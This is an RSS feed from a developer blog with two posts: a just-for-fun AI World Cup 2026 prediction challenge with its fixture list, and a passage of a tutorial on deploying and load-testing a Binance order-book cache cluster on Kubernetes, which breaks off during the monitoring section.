<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Technopathy]]></title><description><![CDATA[Real-world insights on DevSecOps, Python, security, and AI-driven development — written by the creator of the UNICORN Binance Suite.]]></description><link>https://blog.technopathy.club</link><image><url>https://cdn.hashnode.com/uploads/logos/69d4b99a5da14bc70e00d4f6/2eaf7f26-8898-42fc-bf54-cc43ac0f272b.png</url><title>Technopathy</title><link>https://blog.technopathy.club</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 11 Jun 2026 06:16:23 GMT</lastBuildDate><atom:link href="https://blog.technopathy.club/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Prompt World Cup 2026: Let Your AI Predict the Tournament]]></title><description><![CDATA[Hello, prompt engineers — I challenge you and your AI model to the Prompt World Cup 2026.
Choose your model, build your best prompt and let it predict the tournament.
Then we will find out which combi]]></description><link>https://blog.technopathy.club/prompt-world-cup-2026-let-your-ai-predict-the-tournament</link><guid isPermaLink="true">https://blog.technopathy.club/prompt-world-cup-2026-let-your-ai-predict-the-tournament</guid><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Prompt Engineering]]></category><category><![CDATA[football]]></category><category><![CDATA[World Cup 2026]]></category><category><![CDATA[community]]></category><category><![CDATA[ai agents]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 10 Jun 2026 10:25:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6c833f7a-1374-41d7-a062-4434f494fe74.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, prompt engineers — I challenge you and your AI model to the <strong>Prompt World Cup 2026</strong>.</p>
<p>Choose your model, build your best prompt and let it predict the tournament.</p>
<p>Then we will find out which combination of human prompting and artificial intelligence performs best — or at least gets luckiest.</p>
<p>The <strong>Prompt World Cup 2026</strong> is a public, just-for-fun prediction game for everyone who uses AI.</p>
<p>No money.<br />No prizes.<br />No football expertise required.</p>
<p>Just choose your AI, write your prompt, submit the predictions and see how your setup performs against everyone else.</p>
<h2>How it works</h2>
<ol>
<li><p>Join the prediction group on Tippster.</p>
</li>
<li><p>Use any AI model you like.</p>
</li>
<li><p>Ask it to predict the matches and bonus questions.</p>
</li>
<li><p>Enter the AI-generated predictions.</p>
</li>
<li><p>Watch the ranking develop throughout the tournament.</p>
</li>
<li><p>At the end, the winner is invited to reveal the model(s), prompt(s) and workflow used.</p>
</li>
</ol>
<p>You can use ChatGPT, Claude, Gemini, Grok, a local model, an agent workflow, your own script, or anything else that qualifies as AI-assisted prediction.</p>
<p>The interesting part is not only which model wins.</p>
<p>It is also which prompt, research strategy and workflow produce the best result.</p>
<h2>The rules</h2>
<ul>
<li><p>Every prediction must be generated with AI.</p>
</li>
<li><p>Manual corrections based on personal football knowledge are not allowed.</p>
</li>
<li><p>Prompt iterations, web research and tool usage are allowed.</p>
</li>
<li><p>You may use any AI model or combination of models.</p>
</li>
<li><p>Predictions must be submitted before the respective deadline.</p>
</li>
<li><p>The winner is invited to share the model(s), prompt(s) and workflow used after the tournament.</p>
</li>
<li><p>Everyone else is warmly invited to share their setup too.</p>
</li>
</ul>
<p>This is not a scientific benchmark.</p>
<p>It is a fun public experiment.</p>
<h2>Winner verification</h2>
<p>You do not need to identify yourself or share your social profiles when joining.</p>
<p>The internal group chat will stay disabled during the World Cup so the group remains focused on the predictions.</p>
<p>After the final result is confirmed, the chat will be enabled. The winner can then contact me there, share the model(s), prompt(s) and workflow used, and connect the Tippster account with a LinkedIn, Reddit, X, or other public profile for the winner announcement.</p>
<p>If the winner does not get in touch, that is perfectly fine too.</p>
<p>I will simply celebrate them under their Tippster handle.</p>
<h2>Join the Prompt World Cup 2026</h2>
<p><strong>Join link:</strong><br /><a href="https://app.tippster.app/join/TIPP-QKGY-VAH">https://app.tippster.app/join/TIPP-QKGY-VAH</a></p>
<p><strong>Join code:</strong><br /><code>TIPP-QKGY-VAH</code></p>
<p>The group runs on <a href="https://tippster.app/">Tippster</a>, a new and pleasantly lightweight prediction platform.</p>
<p>Anyone can create a prediction group there for up to <strong>500 participants</strong>, completely free and without advertising. Tippster also includes useful features such as private groups, invitation links, configurable prediction settings, rankings and bonus questions.</p>
<p>For the Prompt World Cup 2026, <a href="https://www.linkedin.com/in/stefan-landvogt-32b35b5a/">Stefan</a>, the creator of Tippster, kindly increased the group limit from 500 to <strong>5000 participants</strong>.</p>
<p>So there should be enough room even if a few more humans decide to send their machines onto the pitch.</p>
<h2>May the best prompt win</h2>
<p>Pick your AI.</p>
<p>Build your prompt.</p>
<p>Submit the predictions.</p>
<p>Then let the tournament decide which combination of model, prompt and strategy made the best predictions.</p>
<p>Or at least got luckiest.</p>
<h2>Copy the prediction questions for your AI</h2>
<p>To make prompting easier, I prepared a clean, machine-readable list of all current match questions, including dates, team names and country codes.</p>
<p>You can copy the full list directly into your preferred AI model or use it as input for a custom workflow:</p>
<pre><code class="language-text">
# Prompt World Cup 2026 — Prediction Questions

This document contains all match prediction questions currently shown on Tippster.

&gt; **Time note:** All dates and times below are reproduced exactly as displayed on the platform. Confirm the timezone shown in your Tippster account before using them programmatically.

&gt; **Knockout scoring:** In knockout matches, the final score counts, including extra time and penalty shootouts.

---

## Group A

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-11 21:00 | Mexico (`MEX`) | South Africa (`RSA`) |
| 2026-06-12 04:00 | South Korea (`KOR`) | Czechia (`CZE`) |
| 2026-06-18 18:00 | Czechia (`CZE`) | South Africa (`RSA`) |
| 2026-06-19 03:00 | Mexico (`MEX`) | South Korea (`KOR`) |
| 2026-06-25 03:00 | Czechia (`CZE`) | Mexico (`MEX`) |
| 2026-06-25 03:00 | South Africa (`RSA`) | South Korea (`KOR`) |

## Group B

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-12 21:00 | Canada (`CAN`) | Bosnia-Herzegovina (`BIH`) |
| 2026-06-13 21:00 | Qatar (`QAT`) | Switzerland (`SUI`) |
| 2026-06-18 21:00 | Switzerland (`SUI`) | Bosnia-Herzegovina (`BIH`) |
| 2026-06-19 00:00 | Canada (`CAN`) | Qatar (`QAT`) |
| 2026-06-24 21:00 | Switzerland (`SUI`) | Canada (`CAN`) |
| 2026-06-24 21:00 | Bosnia-Herzegovina (`BIH`) | Qatar (`QAT`) |

## Group C

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-14 00:00 | Brazil (`BRA`) | Morocco (`MAR`) |
| 2026-06-14 03:00 | Haiti (`HAI`) | Scotland (`SCO`) |
| 2026-06-20 00:00 | Scotland (`SCO`) | Morocco (`MAR`) |
| 2026-06-20 02:30 | Brazil (`BRA`) | Haiti (`HAI`) |
| 2026-06-25 00:00 | Scotland (`SCO`) | Brazil (`BRA`) |
| 2026-06-25 00:00 | Morocco (`MAR`) | Haiti (`HAI`) |

## Group D

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-13 03:00 | United States (`USA`) | Paraguay (`PAR`) |
| 2026-06-14 06:00 | Australia (`AUS`) | Turkey (`TUR`) |
| 2026-06-19 21:00 | United States (`USA`) | Australia (`AUS`) |
| 2026-06-20 05:00 | Turkey (`TUR`) | Paraguay (`PAR`) |
| 2026-06-26 04:00 | Turkey (`TUR`) | United States (`USA`) |
| 2026-06-26 04:00 | Paraguay (`PAR`) | Australia (`AUS`) |

## Group E

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-14 19:00 | Germany (`GER`) | Curaçao (`CUW`) |
| 2026-06-15 01:00 | Ivory Coast (`CIV`) | Ecuador (`ECU`) |
| 2026-06-20 22:00 | Germany (`GER`) | Ivory Coast (`CIV`) |
| 2026-06-21 02:00 | Ecuador (`ECU`) | Curaçao (`CUW`) |
| 2026-06-25 22:00 | Ecuador (`ECU`) | Germany (`GER`) |
| 2026-06-25 22:00 | Curaçao (`CUW`) | Ivory Coast (`CIV`) |

## Group F

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-14 22:00 | Netherlands (`NED`) | Japan (`JPN`) |
| 2026-06-15 04:00 | Sweden (`SWE`) | Tunisia (`TUN`) |
| 2026-06-20 19:00 | Netherlands (`NED`) | Sweden (`SWE`) |
| 2026-06-21 06:00 | Tunisia (`TUN`) | Japan (`JPN`) |
| 2026-06-26 01:00 | Tunisia (`TUN`) | Netherlands (`NED`) |
| 2026-06-26 01:00 | Japan (`JPN`) | Sweden (`SWE`) |

## Group G

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-15 21:00 | Belgium (`BEL`) | Egypt (`EGY`) |
| 2026-06-16 03:00 | Iran (`IRN`) | New Zealand (`NZL`) |
| 2026-06-21 21:00 | Belgium (`BEL`) | Iran (`IRN`) |
| 2026-06-22 03:00 | New Zealand (`NZL`) | Egypt (`EGY`) |
| 2026-06-27 05:00 | New Zealand (`NZL`) | Belgium (`BEL`) |
| 2026-06-27 05:00 | Egypt (`EGY`) | Iran (`IRN`) |

## Group H

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-15 18:00 | Spain (`ESP`) | Cape Verde Islands (`CPV`) |
| 2026-06-16 00:00 | Saudi Arabia (`KSA`) | Uruguay (`URY`) |
| 2026-06-21 18:00 | Spain (`ESP`) | Saudi Arabia (`KSA`) |
| 2026-06-22 00:00 | Uruguay (`URY`) | Cape Verde Islands (`CPV`) |
| 2026-06-27 02:00 | Uruguay (`URY`) | Spain (`ESP`) |
| 2026-06-27 02:00 | Cape Verde Islands (`CPV`) | Saudi Arabia (`KSA`) |

## Group I

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-16 21:00 | France (`FRA`) | Senegal (`SEN`) |
| 2026-06-17 00:00 | Iraq (`IRQ`) | Norway (`NOR`) |
| 2026-06-22 23:00 | France (`FRA`) | Iraq (`IRQ`) |
| 2026-06-23 02:00 | Norway (`NOR`) | Senegal (`SEN`) |
| 2026-06-26 21:00 | Norway (`NOR`) | France (`FRA`) |
| 2026-06-26 21:00 | Senegal (`SEN`) | Iraq (`IRQ`) |

## Group J

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-17 03:00 | Argentina (`ARG`) | Algeria (`ALG`) |
| 2026-06-17 06:00 | Austria (`AUT`) | Jordan (`JOR`) |
| 2026-06-22 19:00 | Argentina (`ARG`) | Austria (`AUT`) |
| 2026-06-23 05:00 | Jordan (`JOR`) | Algeria (`ALG`) |
| 2026-06-28 04:00 | Jordan (`JOR`) | Argentina (`ARG`) |
| 2026-06-28 04:00 | Algeria (`ALG`) | Austria (`AUT`) |

## Group K

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-17 19:00 | Portugal (`POR`) | Congo DR (`COD`) |
| 2026-06-18 04:00 | Uzbekistan (`UZB`) | Colombia (`COL`) |
| 2026-06-23 19:00 | Portugal (`POR`) | Uzbekistan (`UZB`) |
| 2026-06-24 04:00 | Colombia (`COL`) | Congo DR (`COD`) |
| 2026-06-28 01:30 | Colombia (`COL`) | Portugal (`POR`) |
| 2026-06-28 01:30 | Congo DR (`COD`) | Uzbekistan (`UZB`) |

## Group L

| Date &amp; time | Home | Away |
|---|---|---|
| 2026-06-17 22:00 | England (`ENG`) | Croatia (`CRO`) |
| 2026-06-18 01:00 | Ghana (`GHA`) | Panama (`PAN`) |
| 2026-06-23 22:00 | England (`ENG`) | Ghana (`GHA`) |
| 2026-06-24 01:00 | Panama (`PAN`) | Croatia (`CRO`) |
| 2026-06-27 23:00 | Panama (`PAN`) | England (`ENG`) |
| 2026-06-27 23:00 | Croatia (`CRO`) | Ghana (`GHA`) |

---

# Knockout Stage

The participating teams are not known yet.

## Round of 32

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| R32-01 | 2026-06-28 21:00 | TBD | TBD |
| R32-02 | 2026-06-29 19:00 | TBD | TBD |
| R32-03 | 2026-06-29 22:30 | TBD | TBD |
| R32-04 | 2026-06-30 03:00 | TBD | TBD |
| R32-05 | 2026-06-30 19:00 | TBD | TBD |
| R32-06 | 2026-06-30 23:00 | TBD | TBD |
| R32-07 | 2026-07-01 03:00 | TBD | TBD |
| R32-08 | 2026-07-01 18:00 | TBD | TBD |
| R32-09 | 2026-07-01 22:00 | TBD | TBD |
| R32-10 | 2026-07-02 02:00 | TBD | TBD |
| R32-11 | 2026-07-02 21:00 | TBD | TBD |
| R32-12 | 2026-07-03 01:00 | TBD | TBD |
| R32-13 | 2026-07-03 05:00 | TBD | TBD |
| R32-14 | 2026-07-03 20:00 | TBD | TBD |
| R32-15 | 2026-07-04 00:00 | TBD | TBD |
| R32-16 | 2026-07-04 03:30 | TBD | TBD |

## Round of 16

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| R16-01 | 2026-07-04 19:00 | TBD | TBD |
| R16-02 | 2026-07-04 23:00 | TBD | TBD |
| R16-03 | 2026-07-05 22:00 | TBD | TBD |
| R16-04 | 2026-07-06 02:00 | TBD | TBD |
| R16-05 | 2026-07-06 21:00 | TBD | TBD |
| R16-06 | 2026-07-07 02:00 | TBD | TBD |
| R16-07 | 2026-07-07 18:00 | TBD | TBD |
| R16-08 | 2026-07-07 22:00 | TBD | TBD |

## Quarter-finals

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| QF-01 | 2026-07-09 22:00 | TBD | TBD |
| QF-02 | 2026-07-10 21:00 | TBD | TBD |
| QF-03 | 2026-07-11 23:00 | TBD | TBD |
| QF-04 | 2026-07-12 03:00 | TBD | TBD |

## Semi-finals

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| SF-01 | 2026-07-14 21:00 | TBD | TBD |
| SF-02 | 2026-07-15 21:00 | TBD | TBD |

## Third-place match

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| 3P | 2026-07-18 23:00 | TBD | TBD |

## Final

| Match | Date &amp; time | Home | Away |
|---:|---|---|---|
| Final | 2026-07-19 21:00 | TBD | TBD |

# Bonus Questions

## Tournament Predictions

* Who wins the World Cup? — **10 points**
* Who wins the Golden Glove? — **7 points**
* Who becomes runner-up? — **7 points**
* Who is the top scorer? — **7 points**
* Will there be a penalty shootout in the final? — **5 points**
* Which team scores the most goals? — **5 points**
* Which four teams reach the semifinals? — **5 points per correctly predicted team**
* How many goals will be scored in total? — **5 points**
* How many sending-offs will there be in total, including straight red cards and second-yellow dismissals? — **5 points**

## Group Winners

* Who wins Group A? — **3 points**
* Who wins Group B? — **3 points**
* Who wins Group C? — **3 points**
* Who wins Group D? — **3 points**
* Who wins Group E? — **3 points**
* Who wins Group F? — **3 points**
* Who wins Group G? — **3 points**
* Who wins Group H? — **3 points**
* Who wins Group I? — **3 points**
* Who wins Group J? — **3 points**
* Who wins Group K? — **3 points**
* Who wins Group L? — **3 points**
</code></pre>
<p>The list is structured so that both humans and machines can read it reliably.</p>
<hr />
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thanks for predicting — and enjoy an entertaining World Cup 2026! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API]]></title><description><![CDATA[This is not a theoretical architecture article.
This is a practical infrastructure test.
The goal was simple:

Can I create all active Binance Spot and Futures order books as replicated Kubernetes inf]]></description><link>https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api</link><guid isPermaLink="true">https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Grafana]]></category><category><![CDATA[trading, ]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 02 Jun 2026 14:45:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2f64a6b9-8e62-4e0f-9957-9ef6b8d3f437.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is not a theoretical architecture article.</p>
<p>This is a practical infrastructure test.</p>
<p>The goal was simple:</p>
<blockquote>
<p>Can I create all active Binance Spot and Futures order books as replicated Kubernetes infrastructure, expose them through REST, monitor the cluster, and then load-test the API until the setup starts to bend?</p>
</blockquote>
<h2>What this article covers</h2>
<p>In this article, I walk through the full test setup:</p>
<ul>
<li><p>creating a Kubernetes cluster on Vultr</p>
</li>
<li><p>installing UBDCC with Helm</p>
</li>
<li><p>creating a first manual Binance DepthCache</p>
</li>
<li><p>installing fast live monitoring with Netdata</p>
</li>
<li><p>creating 2013 active Binance Spot and Futures DepthCaches</p>
</li>
<li><p>running Grafana Cloud k6 smoke, ramp, hot-market, distributed-market and limit-finder tests</p>
</li>
<li><p>comparing single-market hot-path behavior with distributed cluster behavior</p>
</li>
<li><p>documenting the bottlenecks, failures, and measurement traps</p>
</li>
</ul>
<p>The final setup used:</p>
<pre><code class="language-text">Provider:      Vultr Kubernetes
Nodes:         6 low-cost nodes
UBDCC:         Helm installation
DCNs:          dcn.coresPerNode=2
Markets:       2013 Binance Spot + Futures markets
Replicas:      2 per market
DepthCaches:   4026 replicated DepthCaches
Monitoring:    Netdata + kubectl top
Load testing:  Grafana Cloud k6
</code></pre>
<blockquote>
<p><strong>Important:</strong> This test does not stress Binance. Binance is only the public market-data source. The actual load test targets the UBDCC REST API running on my Kubernetes cluster.</p>
</blockquote>
<hr />
<h2>Related background</h2>
<p>If you want to try UBDCC locally first, without Kubernetes, start with the quickstart:<br /><a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a></p>
<p>That article shows the fastest local path with <code>pip install</code>, <code>ubdcc start</code>, the dashboard, and a first local DepthCache before moving to the Kubernetes version.</p>
<p>This article builds on my previous UBDCC Kubernetes installation guide:<br /><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes">Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes</a></p>
<p>That guide covers the base setup in detail: creating the Kubernetes cluster, installing <code>kubectl</code> and Helm, deploying UBDCC, finding the REST API IP, creating a first DepthCache and querying bids and asks.</p>
<p>If you specifically want to reproduce the Vultr setup, start here:<br /><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#vultr">Vultr setup section</a></p>
<p>For the architectural background behind UBDCC, replicated DepthCaches, failover and why order book correctness matters, read the deep dive:<br /><a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books">UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books</a></p>
<hr />
<h2>What is UBDCC?</h2>
<p>UBDCC stands for <strong>UNICORN Binance DepthCache Cluster</strong>.</p>
<p>The idea behind UBDCC is to move Binance order book state out of individual bots and into shared infrastructure.</p>
<p>Usually, every trading bot, analytics tool, or strategy service builds and maintains its own local Binance order book.</p>
<p>That means every application has to deal with:</p>
<ul>
<li><p>WebSocket stream handling</p>
</li>
<li><p>REST snapshot loading</p>
</li>
<li><p>reconnects</p>
</li>
<li><p>update ID continuity</p>
</li>
<li><p>out-of-sync detection</p>
</li>
<li><p>local cache correctness</p>
</li>
<li><p>failover</p>
</li>
<li><p>resync behavior</p>
</li>
<li><p>duplicate infrastructure logic</p>
</li>
</ul>
<p>UBDCC turns that around.</p>
<p>Instead of every bot maintaining its own fragile local order book, UBDCC runs the order book infrastructure once and exposes synchronized DepthCaches over REST.</p>
<p>Clients can then simply query:</p>
<pre><code class="language-text">/get_asks
/get_bids
</code></pre>
<p>That makes the order book infrastructure reusable.</p>
<p>But it also raises a new question:</p>
<blockquote>
<p>How much REST traffic can this infrastructure handle?</p>
</blockquote>
<p>That is what this test is about.</p>
<p>For the deeper architecture and trust-layer reasoning, see:<br /><a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books">UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books</a></p>
<hr />
<h2>Test goal</h2>
<p>The goal was not to produce a synthetic vanity benchmark.</p>
<p>The goal was to find useful operational signals:</p>
<ul>
<li><p>How fast can the cluster create and synchronize thousands of DepthCaches?</p>
</li>
<li><p>How much REST load can a single hot market handle?</p>
</li>
<li><p>How much REST load can the cluster handle when requests are distributed across many markets?</p>
</li>
<li><p>Where do p95 and p99 latencies start rising?</p>
</li>
<li><p>When do timeouts appear?</p>
</li>
<li><p>Are errors caused by load, invalid markets, timeouts, or the measurement system?</p>
</li>
<li><p>Does adding more REST API pods move the bottleneck?</p>
</li>
<li><p>How much can the cheapest Kubernetes nodes handle?</p>
</li>
</ul>
<p>The interesting number is not the highest request rate that appears for one second.</p>
<p>The interesting number is the highest load where latency, error rate and replica health remain stable.</p>
<hr />
<h2>Video walkthrough</h2>
<p>I also recorded a full Kubernetes setup video for this UBDCC cluster.</p>
<p>The video does not rerun the paid Grafana Cloud k6 stress test. Instead, it shows the reproducible setup path: creating the Kubernetes cluster, installing UBDCC with Helm, opening the dashboard, creating a first DepthCache with <code>curl</code>, and creating all currently active Binance Spot and Futures DepthCaches with replicas.</p>
<p>The stress-test results themselves are documented in this article below.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=erxIkwmqlmk">https://www.youtube.com/watch?v=erxIkwmqlmk</a></p>

<hr />
<h1>Test environment</h1>
<h2>Kubernetes cluster</h2>
<p>I used six low-cost Vultr Kubernetes nodes.</p>
<p>This was intentionally not a high-end cluster.</p>
<p>The goal was to test what the cheapest useful Kubernetes infrastructure can do.</p>
<p>Four nodes would likely already be enough to run all active Binance Spot and Futures markets with replication. I used six nodes to speed up synchronization and to leave more room for the stress test.</p>
<pre><code class="language-text">Nodes:     6
Node type: Vultr Regular Cloud Compute
Price:     \(15/month per node (\)90/month total for 6 nodes)
CPU:       2 vCPU per node
Memory:    2024 MB RAM per node
Purpose:   low-cost baseline test
</code></pre>
<p>In total, the worker pool provided <strong>12 vCPUs</strong> and roughly <strong>12 GB RAM</strong>.</p>
<p>This is important for interpreting the results: the test used cheap general-purpose nodes, not high-performance or CPU-optimized instances. The measured REST API limits should therefore be understood as the limits of this low-cost cluster configuration, not as an upper bound of UBDCC itself.</p>
<p>For the detailed Vultr walkthrough, including screenshots and kubeconfig setup, see the Vultr section of the Kubernetes installation guide:<br /><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#vultr">Vultr setup section</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f0c04294-6e1d-4fa2-8efe-36c9281bc870.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>No Binance API credentials</h2>
<p>No Binance API credentials were used.</p>
<p>The complete test uses public Binance market data only.</p>
<p>This is important because the test does not require:</p>
<ul>
<li><p>account access</p>
</li>
<li><p>API keys</p>
</li>
<li><p>secrets</p>
</li>
<li><p>trading permissions</p>
</li>
<li><p>private user data</p>
</li>
</ul>
<p>It only works with public order book data.</p>
<hr />
<h1>Installing UBDCC on Kubernetes</h1>
<p>This section is a compact summary of the setup used for this stress test.</p>
<p>For the complete step-by-step installation article, including Vultr screenshots and the first UBDCC REST calls, see:<br /><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes">Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes</a></p>
<h2>Download kubeconfig</h2>
<p>After creating the Kubernetes cluster in the Vultr Console, download the kubeconfig and place it locally.</p>
<p>Example:</p>
<pre><code class="language-bash">mkdir -p ~/.kube
cp ./vke-cf9c45cc-1cfc-4c59-9550-dc1bb68f3090.yaml ~/.kube/config
</code></pre>
<p>Then verify access:</p>
<pre><code class="language-bash">kubectl get nodes
</code></pre>
<p>Expected:</p>
<pre><code class="language-text">NAME                      STATUS   ROLES    AGE   VERSION
ubdcc-node-...            Ready    &lt;none&gt;   ...
...
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f1c0c245-fb90-4f78-a067-090ff6829978.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Install the Metrics Server</h2>
<p>The Kubernetes Metrics Server is useful for quick resource checks with <code>kubectl top</code>.</p>
<pre><code class="language-bash">kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
</code></pre>
<p>Check node metrics:</p>
<pre><code class="language-bash">kubectl top nodes
</code></pre>
<p>After installing the Metrics Server, it can take a few minutes until the Metrics API becomes available.</p>
<p>If you get this error:</p>
<pre><code class="language-text">error: Metrics API not available
</code></pre>
<p>wait about 5 minutes and try again:</p>
<pre><code class="language-bash">kubectl top nodes
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/444ce61b-a6ba-4f05-9f00-22bb48945a6f.png" alt="" style="display:block;margin:0 auto" />

<p>Check UBDCC pod metrics later:</p>
<pre><code class="language-bash">kubectl top pods -n ubdcc
</code></pre>
<p>For live monitoring during the test:</p>
<pre><code class="language-bash">watch -n 2 kubectl top nodes
watch -n 2 kubectl top pods -n ubdcc
watch -n 2 kubectl get pods -n ubdcc -o wide
</code></pre>
<hr />
<h2>Add the UBDCC Helm repository</h2>
<pre><code class="language-bash">helm repo add ubdcc https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster/helm
helm repo update
</code></pre>
<hr />
<h2>Install UBDCC</h2>
<pre><code class="language-bash">helm install ubdcc ubdcc/ubdcc \
  --namespace ubdcc \
  --create-namespace \
  --set dcn.coresPerNode=2
</code></pre>
<p>The important setting here is:</p>
<pre><code class="language-text">dcn.coresPerNode=2
</code></pre>
<p>DCN means <strong>DepthCache Node</strong>.</p>
<p>The DCNs are the UBDCC components that manage the actual Binance DepthCaches.</p>
<p>With six Kubernetes nodes and <code>dcn.coresPerNode=2</code>, the cluster gets enough DCN capacity to distribute thousands of DepthCaches.</p>
<p>Check the installation:</p>
<pre><code class="language-bash">kubectl get pods -n ubdcc -o wide
kubectl get svc -n ubdcc
kubectl describe services ubdcc-restapi -n ubdcc
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1924a175-ec3c-44bf-92b5-68e618b2fbd1.png" alt="" style="display:block;margin:0 auto" />

<p>Get the public UBDCC REST API IP address:</p>
<pre><code class="language-bash">kubectl get svc -n ubdcc
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/91f3032d-2a27-474c-b0b0-ff9719246693.png" alt="" style="display:block;margin:0 auto" />

<p>Use the external IP of the UBDCC REST API service for the following <code>curl</code> and k6 tests. Replace <code>[YOUR_UBDCC_IP]</code> with that IP.</p>
<hr />
<h1>First REST smoke test with one DepthCache</h1>
<p>Before creating all markets, I first created one DepthCache manually.</p>
<p>This is the same basic check shown in the installation guide:<br /><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes">Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes</a></p>
<h2>Create ETHBTC with two replicas</h2>
<p>Linux/macOS:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&amp;market=ETHBTC&amp;desired_quantity=2'
</code></pre>
<p>Windows:</p>
<pre><code class="language-powershell">curl.exe "http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&amp;market=ETHBTC&amp;desired_quantity=2"
</code></pre>
<p><code>desired_quantity=2</code> means that UBDCC should maintain two replicas of this DepthCache.</p>
<p>That is important for failover and redundancy.</p>
<hr />
<h2>Query asks</h2>
<p>Linux/macOS:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&amp;market=ETHBTC&amp;limit_count=100'
</code></pre>
<p>Windows:</p>
<pre><code class="language-powershell">curl.exe "http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&amp;market=ETHBTC&amp;limit_count=100"
</code></pre>
<hr />
<h2>Query bids</h2>
<p>Linux/macOS:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&amp;market=ETHBTC'
</code></pre>
<p>Windows:</p>
<pre><code class="language-powershell">curl.exe "http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&amp;market=ETHBTC"
</code></pre>
<p>The parameter <code>limit_count=100</code> limits the response to the first 100 price levels.</p>
<p>For load testing, that is useful because response size and network traffic stay more predictable.</p>
<hr />
<h1>Monitoring with Netdata</h1>
<p>For this test, I wanted a fast live view of the cluster.</p>
<p>I did not need long-term retention, alerting, or a full Prometheus/Grafana monitoring stack.</p>
<p>I mainly needed:</p>
<ul>
<li><p>Node CPU</p>
</li>
<li><p>Node memory</p>
</li>
<li><p>Network receive/transmit</p>
</li>
<li><p>Disk I/O</p>
